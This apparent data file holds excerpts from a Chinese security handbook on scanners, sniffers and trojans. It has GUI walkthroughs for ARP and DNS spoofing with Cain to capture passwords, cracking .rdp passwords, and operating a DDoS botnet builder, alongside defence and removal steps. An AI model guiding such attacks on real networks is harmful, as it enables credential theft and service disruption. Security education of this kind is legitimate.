    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.7 常见木马扫描器 网络安全研究人员称，自2006年起，偷、骗、抢已经成为信息网络安全的3大威胁，而木马则是这3大威胁的主要载体。据金山毒霸资深研究人士称，2008年，新增木马数量将达100万个，与之相对比，2007年上半年，这一数量只有不足8万个。经济利益驱动成为木马泛滥的主要原因，而木马技术的难以界定性及基于特征码的易于免杀性，使得木马程序的应用具有了易攻难守的局面，网络用户反木马的呼声也越来越高。 5.7.1 常见木马扫描器介绍 木马数量众多，要对木马进行查杀技术要求非常高，在这种情况下，各种木马扫描器作为安全工具应运而生，比较著名的有“常见木马扫描器”、木马克星、木马杀客等。常见木马扫描器是由“小李飞刀”网友所写，扫描器功能简单，仅能对几种常见的木马进行扫描，较为特别的是该扫描器可对好友主机是否种有潜伏型木马进行查看。这款扫描器可在各大黑客网站下载，下载后无需安装，解压运行即可。 运行常见木马扫描器，弹出如图 5-15 所示的主界面。 由图 5-15 可知，常见木马扫描器可查杀的木马仅仅为冰河、X-Spy、NetMonitor、NetBus、BO、NetSpy、SubSeven等，与其名字“常见木马扫描器”名副其实。单击上图所示界面中“开始扫描”或“扫描本机”按钮即可开始对本机是否被种植上述几款木马进行扫描。因为这款软件所能查杀的木马数量较少，通常，在没有其他查杀木马软件的情况下，可用该软件迅速帮您查看本机中是否有常见潜伏的木马。 图5-15 常见木马扫描器主界面 这款扫描器较有特点的一项功能为能对好友主机木马进行扫描，只需在“填入您要扫描的 IP”编辑框中填入好友主机的 IP 地址，单击“开始扫描”按钮即可进行探测。木马探测原理也比较简单，因上述几款木马默认在被种马主机上开放某个端口，只需对这几个端口进行探测，如果开放这个端口，则该主机被种植木马的可能非常之大。 5.7.2 木马杀客——可查杀众多木马 当前的木马多数已经为驱动级木马，如果对一款木马一无所知，要想进行查杀，几乎是不可能的。可以想象，进程被隐藏、没有相关可执行程序，注册表中没有相关信息，木马回连使用了跳板，甚至连通信都被加密，要想追溯至源头是非常困难的。 网络中的多数木马扫描器软件是需要注册的，但“木马杀客”软件则是免费提供的，如果购买序列号进行注册则提供在线升级功能，如果不想进行注册，可至网站下载最新版本。 木马杀客软件由风云谷科技公司开发，当前的最新版本为木马杀客2008，软件采用杀毒引擎辨别特征码和传统病毒库辨别两种方式。该软件可查杀如下一些类型的木马病毒密码偷窃类木马、QQ尾巴类木马、冰河类木马、网游盗号类木马、灰鸽子类木马，及各种未知木马、病毒、蠕虫、后门、黑客程序等。木马内置内存监控及注册表监控功能，木马感染内存及修改注册表启动等都将被监控查杀。木马杀客2008可在“www.mmsk.cn”下载，安装软件为可执行程序，由于包含大量木马特征库，软件大小为39.2MB，可运行在Windows 2000/ XP/2003/VISTA系统中。 1.木马杀客的安装 木马杀客现称为木马清道夫，运行木马杀客安装文件，弹出“Windows木马清道夫”软件许可协议对话框，选择默认设置后，单击“接受”按钮进行安装，弹出安装目录选择界面，如图5-16所示。 如图5-16介绍文字所示，查杀木马数量超过数十万种。使用默认安装目录，单击“安装”按钮开始安装，安装过程很快，安装完毕后，弹出如图5-17所示的对话框。 图5-16 木马杀客安装过程 图5-17 木马杀客安装完毕 安装好的木马清道夫包括“Windows木马清道夫”和“Windows木马防火墙”两部分，运行“Windows木马清道夫2008”弹出如图5-18所示的主界面。 由图5-18可知，木马清道夫功能强大，包括扫描进程、扫描硬盘、扫描注册表、可疑模块探测、木马防火墙、漏洞扫描、智能升级、历史日志和其他功能9项，除智能升级外，其他各项功能免费版本都可正常使用。 2.木马清道夫扫描进程 单击“扫描进程”按钮，弹出如图5-19所示对话框。 图5-18 “木马清道夫2008”主界面 图5-19 “扫描进程”对话框 “木马清道夫 2008”运行时首先进行木马库加载，单击“扫描”按钮，即可对当前运行的进程进行木马扫描。 3.扫描硬盘 单击“扫描硬盘”按钮，弹出扫描强度选择界面。硬盘扫描分为高速扫描硬盘、精确扫描硬盘、NTFS数据流扫描3种情况，我们选择精确扫描硬盘，弹出如图5-20所示的对话框。 图5-20 扫描硬盘界面 选择要扫描的盘符，单击“扫描”按钮即可。 其他功能的使用方式与进程扫描、硬盘扫描功能类似，选择相关功能单击即可进行扫描。 “木马清道夫2008”提供了一项漏洞扫描功能，可对本机系统漏洞进行扫描。遗憾的是，笔者的计算机已经使用安全卫士360对系统漏洞进行了升级，所以木马清道夫2008不能正确地查出漏洞，可能原因是安全卫士360对下载的补丁没有保存在系统自动升级应保存的位置。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 7.2 Cain嗅探器——多功能嗅探工具 7.2.1 Cain 嗅探器简介 Cain 嗅探器是一款使用比较广泛的黑客软件，其功能较齐全。"},
    {"text": "Cain 嗅探器集多种功能于一身，可以破解屏保、PWL 密码、共享密码、缓存口令、远程共享口令、SMB口令、支持VNC口令解码、 Cisco Type-7口令解码、Base64口令解码、SQL;Server 7.0/2000 口令解码、Remote Desktop 口令解码、Access Database 口令解码、Cisco PIXFirewall口令解码、Cisco MD5解码、NTLM Session Security口令解码、IKE Aggressive Mode Pre-Shared Keys口令解码、Dialup口令解码、远程桌面口令解码等，还支持远程破解，并且也支持字典以及暴力破解。"},
    {"text": "其Sniffer功能极其强大，几乎可以捕获一切明文账号口令，包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5- PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys authentications等。"},
    {"text": "打开安装程序目录，双击“Cain 安装程序”，如图7-16和图7-17 所示。 图7-16 Cain 安装程序 图7-17 Cain 嗅探器安装（1） ● 步骤2。 在图7-17 所示的界面中单击“Next”按钮进入图7-18 所示的界面，单击“Next”按钮继续安装。 图7-18 Cain 嗅探器安装（2） ● 步骤3。 在如图 7-19 所示的对话框中，单击“Browse”按钮，弹出如图 7-20 所示选择安装路径对话框，单击“OK”按钮，单击图7-19中的“Next”按钮继续下一步的安装。 图7-19 Cain 嗅探器安装（3） 图7-20 “选择安装路径”对话框 ● 步骤4。 在图7-21 所示的界面中单击“Next”按钮，即可完成安装，界面如图7-22所示。 图7-21 Cain 嗅探器安装（4） 图7-22 完成安装界面 ● 步骤5。"},
    {"text": "在图 7-22 所示的界面中单击“Finish”按钮，安装程序接着会弹出对话框要求用户确认是否安装“Winpcap”，如图7-23所示。 如果用户的计算机中未安装此软件，单击“Install”按钮进行安装，如图7-24所示。"},
    {"text": "单击“Next”按钮跳转到图7-25 所示的界面，选择“Yes,I agree with all the items of this license agreement”，然后单击“Next”按钮继续安装，如图7-26 所示。"},
    {"text": "单击“Next”按钮，出现如图7-28 所示的界面，选择“Yes,reboot my computer now”项，然后单击“Next”按钮重新启动计算机，程序即可被安装到用户的计算机中，如图7-29所示，单击“Finish”按钮即可完成安装。"},
    {"text": "图7-23 同意安装 图7-24 Winpcap 安装过程（1） 图7-25 Winpcap 安装过程（2） 图7-26 Winpcap 正在安装 图7-27 Winpcap 安装过程（3） 图7-28 Winpcap 安装过程（4） 图7-29 安装完成 7.2.2 Cain 嗅探器的使用和防御 通过上述的7步，用户已经可以正常使用此软件了。"},
    {"text": "1.Cain嗅探器的使用 打开Cain嗅探器，如图7-30所示，它的主界面如图7-31所示。 图7-30 Cain 嗅探器目录 图7-31 Cain 嗅探器主界面 虽然“Cain嗅探器”的功能如上所述很强大，但是很多黑客喜欢使用的是“Cain嗅探器”的嗅探功能，下面将主要介绍“Cain嗅探器”的嗅探功能。"},
    {"text": "首先需要说明的是，黑客想进行嗅探的机器必须和他的目标主机在一个内部网中，并通过一个网关与外界通信，不能嗅探和目标主机不在一个内网的计算机，这一点通过第6章的内容，很容易理解。"},
    {"text": "图7-32 Cain 嗅探器的配置 ● 步骤2。 单击“嗅探”选项卡，切换到“嗅探”页面，如图7-33（画圈部分）所示。 单击【 】按钮（开始/关闭嗅探的开关）开始嗅探，在下方空白处单击鼠标右键，选择“扫描网卡MAC地址”，如图7-34所示。 图7-33 选择嗅探页面 图7-34 选择扫描MAC 地址 ● 步骤3。 出现“MAC 地址扫描器”对话框，选择“测试所有”复选框，进行对同一内网中在线机器的扫描，如图 7-35 和图 7-36 所示。 程序将自动列出内网中在线机器的 IP 地址以及MAC地址，一目了然。 图7-35 测试内容 图7-36 在线IP列表信息 ● 步骤4。"},
    {"text": "切换左下方的选项卡到“ARP”，如图7-37所示，接着单击“ ”按钮（添加列表），弹出“新建ARP欺骗”对话框，如图7-38所示。 图7-37 ARP 选项页 图7-38 “新建ARP 欺骗”对话框 在左侧选择网关IP，在右侧选择您想进行嗅探的机器IP，然后单击“确定”按钮关闭对话框。"},
    {"text": "当有人使用HTTP的方式登录网上的账户时，Cain嗅探器将会捕获信息，并在左下方的“获取密码”选项卡中显示，如图7-40所示。 图7-39 开始/停止ARP 欺骗 图7-40 成功地捕获账号和密码 在黑客的攻击中，DNS 欺骗也是一种常见的攻击方式，下面介绍如何使用 Cain 嗅探器进行DNS欺骗。"},
    {"text": "把存放网页的目录设定为默认目录，在图7-42 所示的界面中单击“….”按钮，指向此目录，如图7-43所示。 然后单击“开始服务”按钮，使局域网中的其他用户可以浏览到本机的网页（也可使用Windows自带的IIS服务），如图7-44所示。"},
    {"text": "接下来和前面所介绍的就不太一样了，在左下方进入“ARP”选项卡，单击“ ”按钮加入需要欺骗的主机IP地址，左边选择欺骗主机，右边选择网关IP地址，如图7-46所示。"},
    {"text": "确认步骤4 无误后，选择“DNS 欺骗”，进入 DNS 欺骗界面。 同样单击“ ”按钮加入DNS欺骗条件设置，这里我们以“www.baidu.com”进行测试，如图7-47和图7-48所示。 图7-47 DNS 欺骗设置 图7-48 DNS欺骗设置成功 设置完毕后单击“ ARP”按钮开始欺骗，当目标主机浏览“www.baidu.com”网站时，就会自动跳转到本地架设的网站。"},
    {"text": "4.远程连接终端密码破解 以上介绍了Cain嗅探器对密码的嗅探功能，其实Cain嗅探器的破解功能也同样很强大，这里为大家介绍rdp文件密码的破解（即：远程连接密码文件），如图7-49所示。"},
    {"text": "单击“…”按钮，载入.rdp 文件之后，Cain 嗅探器就会自动破解了，如图7-52 和图 7-53 所示。 用不了多长时间，Cain 嗅探器就已破解了远程桌面连接文件的密码的明文，如图7-53中所显示的密码为“texttext”。 图7-52 载入文件 图7-53 破解成功 Cain嗅探器的功能不止这些，这里只为大家介绍了其具有特色的几项功能，其他功能读者在今后的使用过程中慢慢体会。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 7.4 疾风视频嗅探器 7.4.1 疾风视频嗅探器简介 我们曾经在网上看到过许多精美的Flash视频，如知名的56.com、tudou.com等网站，当看到一个不错的视频节目，通过读取源代码等方法找到视频原始地址是不容易的，想保存下来却发现束手无策，再寻找解决方法却又发现是那么复杂。使用这款软件，好看的视频想下就下，无需复杂的分析软件，非常简单快捷。 同时，“疾风视频嗅探器”具有Flash视频加速的功能，使用户在无需等待Flash视频下载完成就可以观看，能让您拥有流畅的网络视听体验，很容易保存。 在使用前需要进行简单的安装，其安装步骤如下所述。 ● 步骤1。 双击运行“疾风视频安装程序”，如图7-79和图7-80所示。 ● 步骤2。 在图7-80所示的界面中单击“下一步”按钮继续安装，出现如图7-81所示的对话框。单击“浏览”按钮选择安装路径，如图7-82所示，选择好目录之后单击“确定”按钮继续。 ● 步骤3。 在如图7-83所示的界面上单击“下一步”按钮继续安装。 ● 步骤4。 根据个人习惯选择“安装完成后开始运行程序”和“在桌面添加程序图标”，然后单击“下一步”按钮继续安装，如图7-84所示。 图7-79 疾风视频安装程序 图7-80 安装过程（1） 图7-81 安装过程（2） 图7-82 选择安装路径 图7-83 安装过程（3） 图7-84 安装过程（4） ● 步骤5。在图7-85 所示的界面中单击“下一步”按钮开始安装，如图7-86 所示，安装完成后如图7-87所示。 图7-85 安装过程（5） 图7-86 开始安装 图7-87 安装完成 7.4.2 疾风视频嗅探器的原理和防御 通过上述5步，疾风视频嗅探器就已经成功地安装到用户系统中去了，接下来将要学习此软件的使用方法。 ● 步骤1。 双击运行“疾风视频嗅探器”，打开此款软件，看到主界面很简洁，如图7-88和图7-89所示。 图7-88 疾风视频主程序 图7-89 疾风视频主界面 ● 步骤2。 单击“设置”按钮，即可打开路径的设置界面，在这里可以设置视频的下载保存路径，如图7-90所示。 ● 步骤3。 单击主界面上的搜索按钮，弹出“视频搜索”对话框，输入准备搜索的视频名称，再单击相应的按钮即可在各大视频网站搜索视频，方便实用，如图7-91所示。 图7-90 视频文件保存路径 图7-91 “视频搜索”对话框 ● 步骤4。 在观看视频的时候，“疾风视频”软件会默默地在后台为视频加速，使用户观看得更加流畅，如图7-92所示。 ● 步骤5。 当“疾风视频”正在加速视频时，在相应的视频上单击鼠标右键，可以复制视频的正式地址或者直接使用下载工具进行下载，如图7-93和图7-94所示。 图7-92 加速下载界面 图7-93 保存本地 通过上述简单的5步，就很方便地得到了Flash视频的真实地址并下载到本地了，为用户下载Flash视频带来了很大方便。 下一节我们将要介绍的嗅探器X-Spoof是当年在黑客中享有盛名的软件，曾经还被当作商品出售过。 图7-94 保存成功 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第5章 常用专项功能扫描器 除端口扫描器和多功能扫描器外，黑客常用的还有一类专项功能扫描器，这类扫描器一般界面友好、功能单一，因此成为黑客和安全人员的最爱。这类扫描器既有黑客用于攻击之前进行踩点的专项漏洞扫描器，也有服务确定后的密码穷尽扫描器，还有用于安全防护的本机漏洞扫描器、木马扫描器，拥有了这些扫描器，黑客足以进行有针对性地攻击。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 2.1 TCP/IP相关知识 TCP/IP模型于1974年被提出，其初衷是设计一套以无缝方式实现各种网络之间互连的技术标准，该标准的制定于20世纪80年代后期完成。"},
    {"text": "应用层的协议主要有FTP、SMTP、Telnet、DNS、SNMP、HTTP、NNTP（Network News Transport Protocol）等。 传输层的协议有TCP和UDP。 网络层的协议有IP、ICMP、ARP和RARP等。 数据链路层的协议有Ethernet、Token Bus、Token Ring 、FDDI和WLAN等。 与扫描有关的主要是网络层、传输层和应用层的协议，下面各小节只对其中较为常用的IP、ICMP协议、TCP、UDP等进行介绍。 2.1.1 IP 协议 IP是TCP/IP模型的心脏，也是网络层中最重要的协议。"},
    {"text": "IP层接收由更低层（例如链路层以太网设备驱动程序）发来的数据包，并把该数据包发送到更高层——TCP层或UDP层； 相应地，IP层也把从TCP或UDP层接收来的数据包传送到更低层。"},
    {"text": "IP数据报头格式如图2-1所示。 图2-1 IP数据报头 图2-1中最上方标记的数字代表的是位数，最后一行的选项和填充数据在多数情况下不会出现。 由图2-1可以看出IP报头的默认长度是20字节，IP报头各字段含义及长度如下。"},
    {"text": "Internet上每一台主机都有自己唯一的IP地址，数据包在网络上传输时必须包含IP地址，接收方在收到数据时就能根据数据包中的IP地址来查找唯一的发送方。"},
    {"text": "攻击者为了达到隐藏自己的目的，隐藏IP地址是第一步，方法主要有以下几种：利用被侵入的主机作为跳板，盗用他人账号上网，通过代理网关实施攻击，伪造IP地址，利用TCP漏洞进行会话劫持等，通过收费的VPN代理进行连接隐藏。 在攻击中需隐藏的除IP地址外还有连接隐藏、进程隐藏、文件隐藏、监控信息消除等。"},
    {"text": "2.1.2 TCP 协议 在TCP/IP中，TCP提供可靠的连接服务，是面向连接的端到端的可靠协议。 TCP是网络传输的基础，网络上的大部分数据传输都采用这个协议。"},
    {"text": "每个用于传送TCP的通道都有一个端口标记，因为这个标记是由每个TCP终端确定的，因此可能并不唯一，为了保证这个数值的唯一性，需要使用IP地址和端口号的组合来达到唯一标识的目的，我们称这个组合为套接字（socket）。"},
    {"text": "第一次握手：建立连接时，服务器在TCP某端口监听（listen()函数），客户端发送SYN （连接请求方设置的初始序列号，初始一次连接）包（SYN=j）到服务器（调用connect()函数），并进入SYN_SEND状态，等待服务器确认。 第二次握手：服务器收到SYN 包（accept()函数），必须确认客户端的SYN（ack = j+1），同时自己也发送一个SYN包（SYN=k），即SYN+ACK包，此时服务器从LISTEN状态进入SYN_RECV状态。 第三次握手：客户端收到服务器的SYN＋ACK包（connect函数调用返回），向服务器发送确认包ACK(ack = k+1)，此包发送完毕后，客户端进入ESTABLISHED 状态，服务器收到此包后进入ESTABLISHED状态，完成三次握手。"},
    {"text": "图2-4 ICMP数据包封装格式 图2-5 ICMP数据包报文格式 ICMP共有52种代码组合类型，这里只列出常用的几种，如0、3、4、5、8、9、10、11、13、14、15、16、17、18等14种报文类型，每种类型对应各自的代码，总共24种不同的组合，如图2-6所示。 图2-6 ICMP协议类型与代码组合 常用的 Ping、Tracert 等程序就是（类型 0，代码 0）、（类型 8，代码 0）的 ICMP 消息类型。"},
    {"text": "IP数据包通过以太网发送，但以太网设备并不识别32位IP地址：它们是依靠数据链路层的48位以太网地址（MAC 地址Media Access Control 存储在网卡的EEPROM）传输数据包的。"},
    {"text": "地址解析协议（或逆向地址解析协议）就是用来确定这些映射的协议，它的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址，以确保通信的顺利进行。"},
    {"text": "ARP协议的工作原理 当一台网络设备需要与另一台网络设备通信时，首先把目标设备的IP地址与自己的子网掩码进行“与”操作，以判断目标设备与自己是否位于同一局域网内。 如果目标设备在同一局域网内，并且源设备没有获得与目标IP地址相对应的MAC地址信息，则源设备以广播的形式（目标MAC地址为全1）发送ARP请求报文，在ARP请求报文中包含了源设备与目标设备的IP地址。 同一局域网中的所有其他设备都可以收到并分析这个ARP请求报文，但只有源设备发回ARP响应报文，通过该报文使源设备获得目标设备的MAC地址信息。 如果目标设备与源设备不在同一局域网内，源设备首先把IP数据包发向自己的网关，由网关对该分组进行转发。 网关则通过查询DNS确定目标设备或其所在的网络，为了减少广播量，网络设备通过ARP表在缓存中保存IP地址与MAC地址的映射信息。 在一次ARP的请求与响应过程中，通信双方都把对方的 MAC 地址与 IP 地址的对应关系保存在各自的 ARP表中，以便于在后续的通信中使用。"},
    {"text": "如果传送过来的数据包要传向一个LAN（局域网）的主机，当它到达网关时，网关要求ARP程序找到物理主机或与IP地址相对应的MAC地址。 ARP程序在缓存中寻找，如果找到地址，就提供此地址，以传送到此主机。 如果未找到，ARP程序就在网络上广播一个特殊格式的消息，看哪台机器知道与这个IP地址相关的MAC地址。"},
    {"text": "在一些网络中有些网络管理人员为了便于维护局域网，常将 IP 地址与 MAC 地址进行捆绑。 如果在局域网中是动态寻址的，而其中的一部分网络设置是将 IP 地址与 MAC地址绑定的，就容易出现绑定的某台机器发出 IP地址冲突的警报，导致无法正常上网。 这是因为此机器绑定的 IP地址已被其他动态寻址的机器所占用。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 9.2 “中国制造网络僵尸”木马的剖析及防范 9.2.1 “中国制造网络僵尸”木马简介 “中国制造网络僵尸”是另外一款DDOS攻击工具，同样也是基于C/S模式的，该攻击工具会对目标主机造成一定程度的伤害。 9.2.2 “中国制造网络僵尸”木马的剖析 ● 步骤1。 此木马的服务端配置程序和客户端程序是分离的，首先运行“中国制造网络僵尸客户端配置程序”，如图9-29所示，生成器界面如图9-30所示。 ● 步骤2。 在图9-30所示的界面中，填写上线域名或者IP地址（IP的填写遵照9.1.2小节中关于IP地址的划分来填写）如图9-31和图9-32所示。 ● 步骤3。 双击运行“中国制造网络僵尸”客户端，如图 9-33 所示。由于此款木马主要是针对DDOS攻击而设计，所以功能比较简单，其主界面如图9-34所示。 图9-29 服务端生成器 图9-30 服务端生成器主界面 图9-31 保存服务端 图9-32 服务端程序 图9-33 中国制造网络僵尸主程序 图9-34 中国制造网络僵尸主界面 ● 步骤4。 在图9-34所示软件界面的右下方填写监听端口。 ● 步骤5。 如果上述操作没有错误，单击“开始监听”按钮即可等待傀儡机上线，当有傀儡机上线时在程序主窗口中会显示详细的傀儡机信息，如图9-35所示。 图9-35 上线IP 信息 ● 步骤6。 在图9-35所示的界面中选中傀儡机前的复选框，并在下方的攻击协议处选择相应的攻击方式，最后单击“开始”按钮开始发动攻击，如图9-36所示。 ● 步骤7。 在界面的左下方有一项“广播远程下载”，是用来更新服务端的，远程计算机收到指令后会自动下载黑客所指定的程序并且运行。 图9-36 “发动进攻”界面 9.2.3 “中国制造网络僵尸”木马的防范 “中国制造网络僵尸”的清除方法和上面所介绍的“上兴网络僵尸”的方法略有不同，前者的运行方式是宿主程序释放一个病毒主体的“DLL”文件并插入到“Iexplore.exe”浏览器进程中，以修改注册表的方式启动，而后者是以服务方式启动的。下面将介绍针对“中国制造网络僵尸”的防范措施。 ● 防范演示步骤1。 使用上面介绍的方法配置“中国制造网络僵尸”木马，如图9-37所示，并运行。 图9-37 中国制造网络僵尸木马服务端 ● 防范演示步骤2。 当其运行时，将自身删除，并复制到系统文件夹下，同时释放两个文件：“mndex.ini”和“mssvc32.dll”，如图 9-38 所示。通过监测发现“mndex.ini”保存了路径、上线的域名以及端口等信息，如图9-39所示。宿主程序将“mssvc32.dll”远程注入到了“Iexplore.exe”浏览器进程中以逃避防火墙的监控。 与此同时，“中国制造网络僵尸”木马程序在系统中隐藏注册了一项名为“TransactionService”的系统服务，实现开机启动。 ● 防范演示步骤3。 打开工具“冰刃”，单击“进程”按钮切换到当前进程模式状态，在名为“Iexplore.exe”的进程上单击鼠标右键选择“模块信息”，如图9-40所示，打开“模块信息信息”对话框，如图9-41所示。 在图 9-41 所示的“模块信息”对话框中选中“mssvc32.dll”，并单击“卸载”按钮，将此木马程序从“Iexplore.exe”浏览器进程中删除。 图9-38 木马所释放的文件 图9-39 “mndex.ini”文件内容 图9-40 选择进程 图9-41 进程模块 ● 防范演示步骤4。 右键单击“我的电脑”选择“管理”，进入“计算机管理”，如图9-42所示。之后依次单击“服务和应用程序”→“服务”，进入到系统服务窗口，如图9-43所示。 图9-42 计算机管理界面 图9-43 计算机服务界面 ● 防范演示步骤5。 在图9-43所示的计算机服务窗口中找到名为“TransactionService”的系统服务，双击进入属性对话框，在“启动类型”的下拉菜单中选择“已禁用”项，并单击“确认”按钮将此木马服务停止，如图9-44所示。 ● 防范演示步骤6。 由于此木马程序没有隐藏自身，所以最后进入系统文件夹，将木马宿主程序、“mssvc32.dll”以及“mndex.ini”文件直接删除，并重新启动计算机即可。 图9-44 停止木马服务界面"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 6.4 小结 通过本章的学习，相信读者已经掌握了ARP欺骗的基本原理，并对反嗅探器的使用也有了一定的了解。像Iris这样“重量级”嗅探器的功能是非常强大的，其强大的功能需要读者在今后的使用中慢慢体会。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 前言 如果有一天，一个未曾谋面的陌生人在QQ或MSN上告诉您说：“您的计算机的密码是×××，您的QQ和邮箱密码是×××，您的×××文件……”您一定会在气愤的同时感到非常惊讶，并且非常佩服对方非同寻常的能力。可是您的密码未曾告诉过任何人，也没有把文件给任何人看过，为什么对方就可以掌握自己存储在计算机中的隐私资料呢？其实这就是黑客攻击。类似的网络攻击或入侵方面的例子很多，这已成为了每一位网民的必修课，为了揭开这些谜底，帮助读者保护自己计算机信息的安全，我们特意撰写了本书。 本书特色 ● 内容丰富，实例经典 本书追求理论与实践的结合，用浅显的语言讲述精心设计的经典实例，将黑客攻防的基本理论和实战技巧融入到范例当中，全面覆盖黑客攻防的各个角落。 ● 实例众多，讲解通俗 为了贴近实战，作者都结合更多的案例讲解每一个知识点，这些实例都是真实案例的提炼和总结。并且攻防的每一步都通过图解形式给出，通俗易懂、详略得当。 ● 知识面宽，重点突出 本书涉及的内容众多，有基本的黑客攻防实战技巧，也有深入的黑客攻防技术；既有个人用户的防范知识，也有针对Internet、局域网、无线网的攻防知识，是真正成为防范高手的晋级知识。每章讲解都遵循“学习目标→攻防原理剖析→实战防范技术与技巧→案例总结”这种读者易于学习和实践的方式进行，达到了既授之以鱼，又授之以渔的目的。 本书内容 我们计算机上一般都装有杀毒和防火墙等安全软件，看似已经打造得铜墙铁壁了，但为什么突然我们的数据或密码就被改变了呢？陌生人是如何知道自己的计算机的 IP 地址的呢？又是如何知道自己的计算机存在漏洞呢？网络服务器怎么被入侵的呢？所有这些疑问都将通过本书得到详细的答案。 本书主要内容是从“扫描、嗅探、入侵和防御”几个方面来阐述黑客常用的攻击和防御技术，这几种技术都是目前在黑客的攻防中使用率最高的。第1章～第2章介绍网络安全的基础知识以及扫描器分类及原理；第3章～第5章介绍黑客收集信息的方式以及大型扫描器的使用方法；从第6章开始逐步过渡到嗅探攻击技术，其中第6章～第7章介绍基于嗅探的被动攻击方式以及攻击工具的原理；第8章～第11章为读者介绍目前主流的木马以及攻击工具的原理及防范，读者在阅读和学习本书介绍的技术和实战案例时，按照章节顺序阅读就可以达到防范黑客攻击的最佳效果。 读者对象 本书以清晰明朗的写作思路，图文并茂的讲解形式，由浅入深地引导读者学习黑客常用的攻击和防御方法。本书适合于初、中级用户学习网络安全知识时阅读，同时也可作为高级安全工程师的参考资料。 本书由夏添、李绍文编著，在编写过程中，张博、王洪、叶凤云、教青、陈芳、管西京、柯华坤、王大平、林丁报、张英男、张鹏、温才燚、刘冉、李新峰、李连闯、范洪彬、裴要强等提供了很大帮助，在此，对他们表示衷心的感谢。由于时间仓促，加上编者水平有限，书中难免存在一些不足和错误之处，恳请广大读者批评指正，联系邮箱为：zhangtao@ptpress.com.cn。 需要声明的是，本书的目的绝不是为那些怀有不良动机的人提供支持，也不承担因为技术被滥用所产生的连带责任，本书的目的在于普及网络安全知识，增强人们防范病毒及木马攻击的能力，提高防范技术水平。 编者"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.2 SuperScan扫描器——查找网络中的弱点与漏洞 如果要对免费端口扫描软件进行排名， SuperScan 扫描器会以较大优势排在前三名。SuperScan是Foundstone安全公司开发的扫描软件，Foundstone公司成立于1999年，是美国信息安全顾问服务与教育训练领导厂商，该公司的专家来自美国军方、五大顾问公司。全美有许多前500强大企业，如微软、美国银行、Counterpane等公司，均委托Foundstone来协助保全其企业信息安全。2004年全球领先的入侵防护解决方案供应商McAfee收购了Foundstone，使得Foundstone在安全技术上如虎添翼。SuperScan目前的最新版本为2004年发布的版本4.0，以笔者的经验，版本4.0在界面上比版本3.0有所改善，功能上也有所增加，但在使用效果上反而不如版本3.0。 SuperScan4.0只能在Windows XP或者Windows 2000 等系统上运行，可到Foundstone 公司的网站上下载，其下载地址为http://www.foundstone.com/us/resources/proddesc/SuperScan4.htm，该网站已不在提供3.0版本的下载。该扫描软件为197KB大小的压缩包，无需安装，解压后单击即可运行。SuperScan 除可作为黑客工具外，又是一款网络安全工具，能够迅速发现网络中的弱点。下面以SuperScan4.0汉化版为例对其使用方法进行介绍。 ● 步骤1 扫描范围设置。 运行SuperScan 4.0，弹出如图3-8 所示的主界面。 图3-8 Superscan 4.0 主界面 由图3-8可知，主界面中共有6个标签，默认的“扫描”标签下可用来设置扫描范围和显示扫描结果。IP地址的设置有3种方式，第一种是在“主机名/IP”后的编辑框中输入待扫描的IP地址，单击后面的“→”按钮，将IP地址加入待扫描的IP地址列表中；第二种是在“开始IP”后面的编辑框和“结束IP”后面的编辑框中分别输入待扫描的IP地址范围，单击后面的“→”按钮，将IP地址段加入到待扫描列表；第三种方式是“从文件读取IP地址”，单击“→”按钮，将文件中的IP地址加入到IP地址列表。如果IP地址输入有误，则可以利用“清除所选”或“清除所有”按钮将有关IP清除。 详细的扫描结果被保存为HTML文件，单击“查看HTML结果”即可打开默认的浏览器进行查看。对扫描选项进行设置的标签有“主机和服务扫描设置”和“扫描选项”，单击“主机和服务扫描设置”标签显示界面如图3-9所示。 图3-9 “主机和服务扫描设置”界面 ● 步骤2 主机和服务扫描设置。 在图3-9所示界面中，可对查找主机、UDP端口扫描、TCP端口扫描三项进行设置。查找主机项默认只选择“回显请求”，为提高查找主机的准确性，可对另外的时间戳请求、地址掩码请求、信息请求三项同时进行选择。 对UDP端口进行扫描，一般采用发送空的（没有数据）UDP报头到每个目标端口，如果返回ICMP端口不可到达错误（类型3，代码3），表明该端口是closed（关闭的）。其他ICMP不可到达错误（类型3，代码1、2、9、10或者13），表明该端口是filtered（被过滤的），通常情况下选择默认即可。 对TCP的端口进行扫描，默认选择SYN扫描。采用这种扫描类型有时不能返回正确结果。笔者在对自己主机扫描时，用SYN方式显示没有打开端口，而采用直接连接方式可以显示正确的开放端口。采用直接连接方式获得正确结果的同时，增加了危险性。在对同一主机大量端口进行探测时，笔者建议不选择直接连接方式。 ● 步骤3 扫描选项设置。 在图3-9所示界面中，单击“扫描选项”标签，弹出如图3-10所示界面。 如图3-10所示，“扫描选项”标签内容分为两个部分，左边部分为主机探测设置，右半部分为扫描速度设置。通过上下调节右半部分滑杆，可以设置扫描速度。为提高扫描的准确性，可以对部分检测次数和扫描超时时间进行设置。由于 SuperScan 定位为端口扫描器，部分用户对没有开放端口的主机不感兴趣，在扫描选项中包括了是否隐藏没有开放端口的主机，是否使用随机IP和端口扫描次序，根据用户习惯自行选择。 图3-10 “扫描选项”界面 在扫描选项设置完毕，即可单击“扫描”标签，返回主界面，单击图3-8中的“开始IP”按钮，开始扫描。 3.2.1 使用SuperScan 扫描器进行探测 除端口扫描外，SuperScan 还增加了另外一些功能，包括主机名/IP/URL 探测功能和Windows枚举功能。单击“工具”标签，显示SuperScan的探测主机名等功能的界面，如图3-11所示。 利用SuperScan如图3-11所示的功能，可以迅速地查出所设IP的有关信息，并且可以进行 ICMP 跟踪和路由跟踪，相当于可以在图形界面下使用 Whois、Ping、Tracert 等命令。 图3-11 强大的“工具”界面 3.2.2 使用SuperScan 中的枚举功能 